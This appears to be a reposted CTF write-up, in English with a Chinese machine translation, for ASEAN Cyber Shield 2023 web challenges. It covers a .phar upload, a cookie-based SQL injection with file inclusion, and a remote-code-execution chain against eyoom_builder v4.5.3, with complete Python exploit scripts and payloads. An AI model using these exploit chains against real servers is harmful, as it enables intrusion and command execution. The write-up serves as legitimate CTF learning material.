由于我们拥有的版本尚未列入黑名单 .phar ,因此我们可以尝试上传以下文件名包含 .phar 扩展名的代码。

1
<?php system('cat /flag'); ?>

 

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

Baby TodoList 宝贝待办事项列表

We received the source code of this application and it’s a custom web application. When browsing the web page, we encounter with a login page.
我们收到了这个应用程序的源代码,它是一个自定义的 Web 应用程序。浏览网页时,我们会遇到一个登录页面。

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

Looking at each of the .php files, we found few interesting PHP files global.php and index.php.
查看每个 .php 文件,我们发现了一些有趣的 PHP 文件 global.phpindex.php .

index.php 索引.php

  • One of the include_once has the variable $theme that depends on the $preview variable.
    其中一个 include_once 具有依赖于该 $preview 变量的变量 $theme
  • The $preview variable by default is $preview = false.
    缺省情况下, $preview 变量为 $preview = false

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$preview = false;
include_once 'global.php';
if (!isset($_SESSION["user_id"])) {
    header("Location: login.php");
    exit();
}

$todos_fetch = mysqli_query($conn, "SELECT * FROM todos WHERE user_id = " . $_SESSION["user_id"]);
$todos_row = @mysqli_fetch_all($todos_fetch, MYSQLI_ASSOC);

$users_fetch = mysqli_query($conn, "SELECT * FROM users WHERE id = " . $_SESSION["user_id"]);
$user = @mysqli_fetch_array($users_fetch);

include_once 'theme.header.php';
include_once "./themes/".($preview?$theme['fname']:$user["theme"]);
include_once 'theme.footer.php';
?>

 

global.php 全局.php

  • If $_COOKIE['preview_theme'] isset, the value is directly go into the query after going few functions.
    如果 $_COOKIE['preview_theme'] 为 isset,则该值在执行几个函数后直接进入查询。
  • If the $theme got a result, it will set $preview = true.
    如果 $theme 得到一个结果,它将设置 $preview = true .

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
// Will replace /flag to f-l-a-g
// This function trying to stop us to read /flag
function badwordfiltering($string){
	$string = preg_replace("/flag/i", "f-l-a-g", $string);
	return $string;
}

// base64_decode(substr(base64_decode("<BASE64>"),1));
// Can add space infront of the first base64 for the substr(,1) function
function decrypt($string){
	$r = substr(base64_decode($string), 1);
	return base64_decode($r);
}

// set cookies preview_theme and add SQL payload
if(isset($_COOKIE['preview_theme'])){
	$preview_theme = badwordfiltering(htmlspecialchars(decrypt($_COOKIE['preview_theme'])));
    $themes_fetch = mysqli_query($conn, "SELECT * FROM themes WHERE tname = '$preview_theme'");
    $theme = @mysqli_fetch_array($themes_fetch);
    if($theme){
        $preview = true;
    }
}
?>

 

To make it simple, first we need to get into index.php. We can only access index.php with a session. So let’s register a user and login to get a session. Once we get a session, we will have options to change the theme either RED, BLUE or GREEN.
为了简单起见,首先我们需要进入 index.php .我们只能通过会话访问 index.php 。因此,让我们注册一个用户并登录以获取会话。一旦我们得到一个会话,我们将可以选择更改主题。 RED, BLUE or GREEN

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

Once we click a theme, it will do a POST request to /todo_process.php and set the users table with the correct theme value either red, blue or green. We know that the function of include_once will include red.php, blue.php or green.php only using the todo_process.php.
一旦我们单击一个主题,它将请求 POST /todo_process.php 并使用正确的 theme 值(红色、蓝色或绿色)设置 users 表格。我们知道 include_once 的函数将包括 red.phpblue.php 或者 green.php 只使用 todo_process.php .

1
$sql = "UPDATE users SET theme = '$theme' WHERE id = " . $_SESSION['user_id'];

 

But, with cookies of preview_theme we can chain with SQL injection to include other files instead of just the default one in the SQL.
但是,使用 cookie,我们可以与 SQL 注入链接以包含其他文件, preview_theme 而不仅仅是 SQL 中的默认文件。

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

The full decryption before going to $preview_theme as follow
去之前的完整解密如下 $preview_theme

1
2
3
$a = htmlspecialchars(base64_decode(substr(base64_decode("IEp5QnZjaUF4UFRFZ0l3PT0="),1)));
$b = preg_replace("/flag/i", "f-l-a-g", $a);
echo $b;

 

But isn’t htmlspecialchars will block us? Looking at the changelog in here, it was mentioned that starting from PHP 8.1.0 it has set flags from ENT_COMPAT to ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401 and our docker instance use PHP version 7.4.3. To test with different PHP, we can use online compiler in here
但是 htmlspecialchars 威尔不是阻止了我们吗?查看此处的更改日志,提到从 PHP 8.1.0 它开始已经设置 flags from ENT_COMPAT to ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401 了,我们的 docker 实例使用 PHP 版本 7.4.3 。要使用不同的PHP进行测试,我们可以在这里使用在线编译器

PHP 7.4.3 PHP 7.4.3的

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

PHP 8.1.0

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

Full script to read /flag
要阅读 /flag 的完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests, sys
from base64 import b64encode

s = requests.Session()

url = sys.argv[1]

# Register + Login
data = {
	'username': 'username',
	'password': 'password'
}
res = s.post(url + '/register_process.php', data=data)
res = s.post(url + '/login_process.php', data=data)

# Bypass /flag with CONCAT()
cookies = {
	'preview_theme': b64encode(b' ' + b64encode(b"' union select 1,2,CONCAT('../../../../fla','g'),4 #")).decode()
}
res = s.get(url + '/index.php', cookies=cookies)
print(res.text)

 

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

CMS v4.5.3 CMS v4.5.3 版本

We received the source code of this application eyoom_builder == v4.5.3. We found out that there is one interesting bug discovered by a security researcher at Stealien with title of Bug Hunting: The Importance of Vulnerability Chaining
我们收到了这个应用程序 eyoom_builder == v4.5.3 的源代码。我们发现Stealien的一位安全研究员发现了一个有趣的漏洞,标题为Bug Hunting:漏洞链的重要性

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

The article didn’t disclosed the full path to get the RCE but atleast it give us a hint what to look at.
这篇文章没有透露获得的完整 RCE 路径,但至少它给了我们一个提示,让我们知道要看什么。

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

Based on the article there is an LFI vulnerability located in eyoom/class/theme.class.php. The LFI could also lead to RCE if we could find a way to upload a PHP file with the content that we want.
根据该文章,LFI eyoom/class/theme.class.php 漏洞位于 中。如果我们能找到一种方法来上传包含我们想要的内容的 PHP 文件,LFI 也可能导致 RCE。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function set_user_theme($arr) {
    // Get $_COOKIE['unique_theme_id']
    if (get_cookie('unique_theme_id')) {
        $unique_theme_id = get_cookie('unique_theme_id');
    } else {
        $unique_theme_id = date('YmdHis', time()) . str_pad((int)(microtime()*100), 2, "0", STR_PAD_LEFT);
        set_cookie('unique_theme_id',$unique_theme_id,3600);
    }

    // The cookies value will ends with .php and save into $file variable
    $file = $this->tmp_path . '/' . $_SERVER['REMOTE_ADDR'] . '.' . $unique_theme_id . '.php';
    if (file_exists($file)) {
        // If the .php file exists it will include_once
        include_once($file);
        if ($is_shop_theme) {
            $arr['theme']       = $user_config['theme'];
        } else {
            $arr['shop_theme']  = $user_config['shop_theme'];
        }
    }

    // Save $arr value to $_config
    $_config = $arr;

    // Save the file in $file location with .php
    parent::save_file('user_config', $file, $_config);
}

 

That’s what the article were discussing about with the save_file() function but we need to find by ourself where we could abuse it. Also this function will use addslashes() on the $value variable but not including $key variable. If we could find a way to add a custom $key, it could help us write the file with .php extensions.
这就是本文讨论的功能 save_file() ,但我们需要自己找到可以滥用它的地方。此外,此函数将用于 addslashes() 变量, $value 但不包括 $key 变量。如果我们能找到一种方法 添加自定义 $key ,它可以帮助我们编写带有 .php 扩展名的文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public function save_file($outvar, $filename, $info=array(), $int=false) {
    $fp = @fopen($filename, 'w');
    $contents  = "<?php\n";
    $contents .= "if (!defined('_EYOOM_')) exit;\n";
    $contents .= "\$" . $outvar . " = array(\n";
    if ($info != NULL) {
        foreach ($info as $key => $value) {
            if (!is_array($value)) {
                if (!$int) {
                    if (!is_int($key)) {
                        $contents .= "\t\"" . $key . "\" => \"" . addslashes($value) . "\",\n";
                    }
                } else $contents .= "\t\"" . $key . "\" => \"" . addslashes($value) . "\",\n";
            } else {
                $arr = '';
                foreach ($value as $k => $v) {
                    if (!$int) {
                        if (!is_int($key)) {
                            $arr .= "\"" . $k . "\" => \"" . addslashes($v) . "\",";
                        }
                    } else $arr .= "\"" . $k . "\" => \"" . addslashes($v) . "\",";
                }
                if ($arr) {
                    $arr = substr($arr,0,-1);
                    $contents .= "\t\"" . $key . "\" => array(" . $arr . "),\n";
                }
            }
        }
    }

    $contents .= ");\n";
    @fwrite($fp, $contents);
    @fclose($fp);
    @chmod($filename, 0644);
}

 

With the save_file() in eyoom/class/theme.class.php, we can create .php file anywhere in the server. We just need to create a cookies with md5("unique_theme_id") = base64_encode("../../../../../../var/www/html/data/tmp/poc"). Also, we can change $file location with the cookies, but what about the data in $config?
使用 save_file() in eyoom/class/theme.class.php ,我们可以在服务器中的任何位置创建 .php 文件。我们只需要创建一个 md5("unique_theme_id") = base64_encode("../../../../../../var/www/html/data/tmp/poc") cookie。此外,我们可以使用cookie更改 $file 位置,但是其中 $config 的数据呢?

1
2
3
4
5
6
7
8
function get_cookie($cookie_name)
{
    $cookie = md5($cookie_name);
    if (array_key_exists($cookie, $_COOKIE))
        return base64_decode($_COOKIE[$cookie]);
    else
        return "";
}

 

Looking at the same page theme.class.php, I found out that we can set either theme or shop_theme. Thus the value will be used in set_user_theme() shown at the previous codes above.
看同一页 theme.class.php ,我发现我们可以设置或者 theme shop_theme 。因此,该值将在上面的代码中显示。 set_user_theme()

1
2
3
4
5
6
7
if (isset($_GET['theme']) || isset($_GET['shop_theme'])) {
    $_user['theme']      = clean_xss_tags(trim($_GET['theme']));
    $_user['shop_theme'] = clean_xss_tags(trim($_GET['shop_theme']));
    $_config = $this->set_user_theme($_user);
} else {
    $_config = $this->get_user_theme();
}

 

With this information, we can either use theme or shop_theme to write .php file anywhere in the server.
有了这些信息,我们就可以在服务器的任何位置使用 themeshop_theme 写入 .php 文件。

1
2
3
4
5
# use ?theme
curl "http://192.168.48.130:20007/?theme=test" -b "23ec334208a8862afdb7baa48ed00486=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdG1wL3BvYw=="

# use ?shop_theme
curl "http://192.168.48.130:20007/?shop_theme=test" -b "23ec334208a8862afdb7baa48ed00486=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdG1wL3BvYw=="

 

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

So we can now create a .php file anywhere in the server, but we are still not able to write anything inside the php file. Then I found out a possible endpoint eyoom/core/member/push_info.php that we could abuse.
因此,我们现在可以在服务器的任何位置创建一个 .php 文件,但我们仍然无法在 php 文件中写入任何内容。然后我发现了一个我们可以滥用 eyoom/core/member/push_info.php 的可能端点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
    // Load common.php
    $g5_path = '../../..';
    include_once($g5_path.'/common.php');

    // Check if $_POST['mb_id'] isset or not
    $mb_id = isset($_POST['mb_id']) ? trim($_POST['mb_id']) : '';
    if (!$mb_id) exit;

    // Check if file exists
    $push_file = $push_path.'/push.'.$mb_id.'.php';
    if (file_exists($push_file)) {
        include_once($push_file);
    } else exit;

    // Loop each $push_item array and check if got value or not
    $push_item = array(
        'respond',
        'memo',
        'follow',
        'unfollow',
        'subscribe',
        'upsubscribe',
        'likes',
        'guest',
        'levelup',
        'adopt',
    );

    foreach ($push_item as $val) {
        if ($push[$val]) {
            $item = $val;
            $push_tocken = true;
            break;
        }
    }

    // Check if $push_tocken true
    if ($push_tocken) {
        // Check if push[$item]['alarm'] got any value. If yes, it will trigger save_file()
        if (!$push[$item]['alarm']) {
            $push[$item]['alarm'] = true;
            $qfile  = new qfile;
            $qfile->save_file('push',$push_file,$push);
        }
    }

 

The folder push is not available in my docker when fresh install. Let’s try register a new user first. With a valid user session, we can see its tying to send a POST request to /eyoom/core/member/push_info.php every 1 minute.
全新安装时,该文件夹 push 在我的 docker 中不可用。让我们先尝试注册一个新用户。对于有效的用户会话,我们可以看到它每 1 分钟发送一次 POST 请求 /eyoom/core/member/push_info.php 的绑定。

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

With this request, the folder push will be created in /var/www/html/data/member/push/
通过此请求,将在 push /var/www/html/data/member/push/

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

Now we can try create a file into this folder with mb_id == poc.
现在我们可以尝试使用 mb_id == poc .

1
2
3
4
5
# Base64 Encode
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9odG1sL2RhdGEvbWVtYmVyL3B1c2gvcHVzaC5wb2M=

# Base64 Decode
../../../../../../../../var/www/html/data/member/push/push.poc

 

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

Inside push_info.php, we noticed it will traverse back three (3) times and include common.php. Inside the file common.php, we noticed familiar function that we saw during preliminary round which is extract() function.
在里面 push_info.php ,我们注意到它会向后遍历三 (3) 次,并且 include common.php .在文件中 common.php ,我们注意到我们在初赛中看到的熟悉的函数,即 extract() 函数。

1
2
3
4
5
6
7
8
# Current path (html/eyoom/core/member/push_info.php)
$g5_path = '../../../';
include_once($g5_path.'/common.php');

# common.php (html/common.php)
@extract($_GET);
@extract($_POST);
@extract($_SERVER);

 

Since, it includes in push_info.php, we can abuse this to set the variable $push to have some value so it will trigger the save_file() function. We know with $push[$item]['alarm'] == false and push_tocken == true, we could trigger the save_file(). Thus the payload will be as follow:
由于它包含在 中 push_info.php ,我们可以滥用它来设置变量 $push 具有某个值,以便它将触发函数 save_file() 。我们知道 和 $push[$item]['alarm'] == false push_tocken == true ,我们可以触发 save_file() .因此,有效载荷如下:

1
mb_id=poc&push[memo][alarm]=0&push[".phpinfo()."]=test

 

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

Run again the request will include the file as it exists
再次运行请求, include 将文件原样运行

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

The full script to get the flag as shown below
获取标志的完整脚本,如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests, sys
import hashlib
import base64


s = requests.session()
TARGET = sys.argv[1]

# Login
data = {"url":"%2f","mb_id":"test1234","mb_password":"test123@!!!"}
r = s.post(TARGET+"/bbs/login_check.php",data=data, allow_redirects=False, proxies={"http":"127.0.0.1:8080"})
if r.status_code == 302:
    print("[+] Login Successfull")
else:
    exit()

# Create .php file
filename = b"shell"
cookies = {
    hashlib.md5(b"unique_theme_id").hexdigest(): base64.b64encode(b"../../../../../../../var/www/html/data/member/push/push."+filename).decode()
}
r = s.get(TARGET+"/?theme=poc",cookies=cookies, proxies={"http":"127.0.0.1:8080"})
print("[+] "+filename.decode()+".php created")

# Inject php code to read file
data = {
    "mb_id":filename,
    "push[memo][alarm]":0,
    "push[\".system(\"cat /flag\").\"]":"nothing"
}
r = s.post(TARGET+"/eyoom/core/member/push_info.php",data=data)
print("[+] Execute PHP file...")
r = s.post(TARGET+"/eyoom/core/member/push_info.php",data=data)
print(r.text)

 

ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

 

原文始发于H0j3n:ASEAN Cyber Shield (ACS) CTF 2023 [WEB]

版权声明:admin 发表于 2023年11月28日 下午9:38。
转载请注明:ASEAN Cyber Shield (ACS) CTF 2023 [WEB] | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...